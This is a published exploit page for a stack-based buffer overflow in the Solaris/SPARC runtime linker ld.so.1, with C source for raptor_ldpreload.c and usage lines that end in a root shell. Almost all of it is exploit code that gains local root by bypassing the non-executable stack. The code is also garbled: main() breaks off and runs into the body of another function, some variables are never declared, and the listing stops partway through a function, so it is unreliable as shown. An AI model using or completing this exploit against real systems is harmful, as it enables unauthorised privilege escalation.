Vulnerable Systems:
* Solaris/SPARC Versions 2.6 up to 9 including.
Exploit Code: raptor_ldpreload.c
/*
* $Id: raptor_ldpreload.c,v 1.1 2004/12/04 14:44:38 raptor Exp $
*
* raptor_ldpreload.c - ld.so.1 local, Solaris/SPARC 2.6/7/8/9
* Copyright (c) 2003-2004 Marco Ivaldi <raptor at 0xdeadbeef dot info>
*
* Stack-based buffer overflow in the runtime linker, ld.so.1, on Solaris 2.6
* through 9 allows local users to gain root privileges via a long LD_PRELOAD
* environment variable (CAN-2003-0609).
*
* This exploit uses the ret-into-ld.so technique, to effectively bypass the
* non-executable stack protection (noexec_user_stack=1 in /etc/system). This
* is a weird vulnerability indeed: the standard ret-into-stack doesn't seem
* to work properly for some reason (SEGV_ACCERR), and at least my version of
* Solaris 8 (Generic_108528-13) is very hard to exploit (how to reach ret?).
*
* Usage:
* $ gcc raptor_ldpreload.c -o raptor_ldpreload -ldl -Wall
* $ ./raptor_ldpreload
* [...]
* # id
* uid=0(root) gid=1(other)
* #
*
* Vulnerable platforms:
* Solaris 2.6 with 107733-10 and without 107733-11 [untested]
* Solaris 7 with 106950-14 through 106950-22 and without 106950-23 [untested]
* Solaris 8 with 109147-07 through 109147-24 and without 109147-25 [untested]
* Solaris 9 without 112963-09 [tested]
*/
/* prototypes */
int add_env(char *string);
void check_zero(int addr, char *pattern);
int search_ldso(char *sym);
int search_rwx_mem(void);
void set_val(char *buf, int pos, int val);
/*
* main()
*/
int main(int argc, char **argv)
{
char buf[BUFSIZE], ff[FFSIZE];
char platform[256], release[256];
int i, offset, ff_addr, sc_addr, str_addr;
int plat_len, prog_len, rel;
/* set fake frame's %i1 */
set_val(ff, 36, sc_addr); /* 2nd arg to strcpy() */
/* fill the evil buffer */
for (i = 12 + ALIGN; i < 1296; i += 4)
set_val(buf, i, str_addr); /* must be a valid string */
/* to avoid distance bruteforcing */
for (i = 1296 + ALIGN; i < BUFSIZE - 12; i += 4) {
set_val(buf, i, ff_addr);
set_val(buf, i += 4, ret - 4); /* strcpy(), after the save */
}
/* add the variable to envp */
env[env_pos] = string;
env_len += strlen(string) + 1;
env_pos++;
/* pad the envp using zeroes */
if ((strlen(string) + 1) % 4)
for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
env[env_pos] = string + strlen(string);
env_len++;
}
return(env_len);
}
/*
* check_zero(): check an address for the presence of a 0x00
*/
void check_zero(int addr, char *pattern)
{
if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
!(addr & 0xff000000)) {
fprintf(stderr, "Error: %s contains a 0x00!\n", pattern);
exit(1);
}
}
/*
* search_ldso(): search for a symbol inside ld.so.1
*/
int search_ldso(char *sym)
{
int addr;
void *handle;
Link_map *lm;
/* open the executable object file */
if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
perror("dlopen");
exit(1);
}
/* get dynamic load information */
if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
perror("dlinfo");
exit(1);
}
/* search for the address of the symbol */
if ((addr = (int)dlsym(handle, sym)) == NULL) {
fprintf(stderr, "sorry, function %s() not found\n", sym);
exit(1);
}
/* close the executable object file */
dlclose(handle);
check_zero(addr - 4, sym);
return(addr);
}
/*
* search_rwx_mem(): search for an RWX memory segment valid for all
* programs (typically, /usr/lib/ld.so.1) using the proc filesystem
*/
int search_rwx_mem(void)
{
int fd;
char tmp[16];
prmap_t map;
int addr = 0, addr_old;
/* open the proc filesystem */
sprintf(tmp,"/proc/%d/map", (int)getpid());
if ((fd = open(tmp, O_RDONLY)) < 0) {
fprintf(stderr, "can't open %s\n", tmp);
exit(1);
}
/* search for the last RWX memory segment before stack (last - 1) */
while (read(fd, &map, sizeof(map)))
if (map.pr_vaddr)
if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
addr_old = addr;
addr = map.pr_vaddr;
}
close(fd);
/* add 4 to the exact address NULL bytes */
if (!(addr_old & 0xff))
addr_old |= 0x04;
if (!(addr_old & 0xff00))
addr_old |= 0x0400;
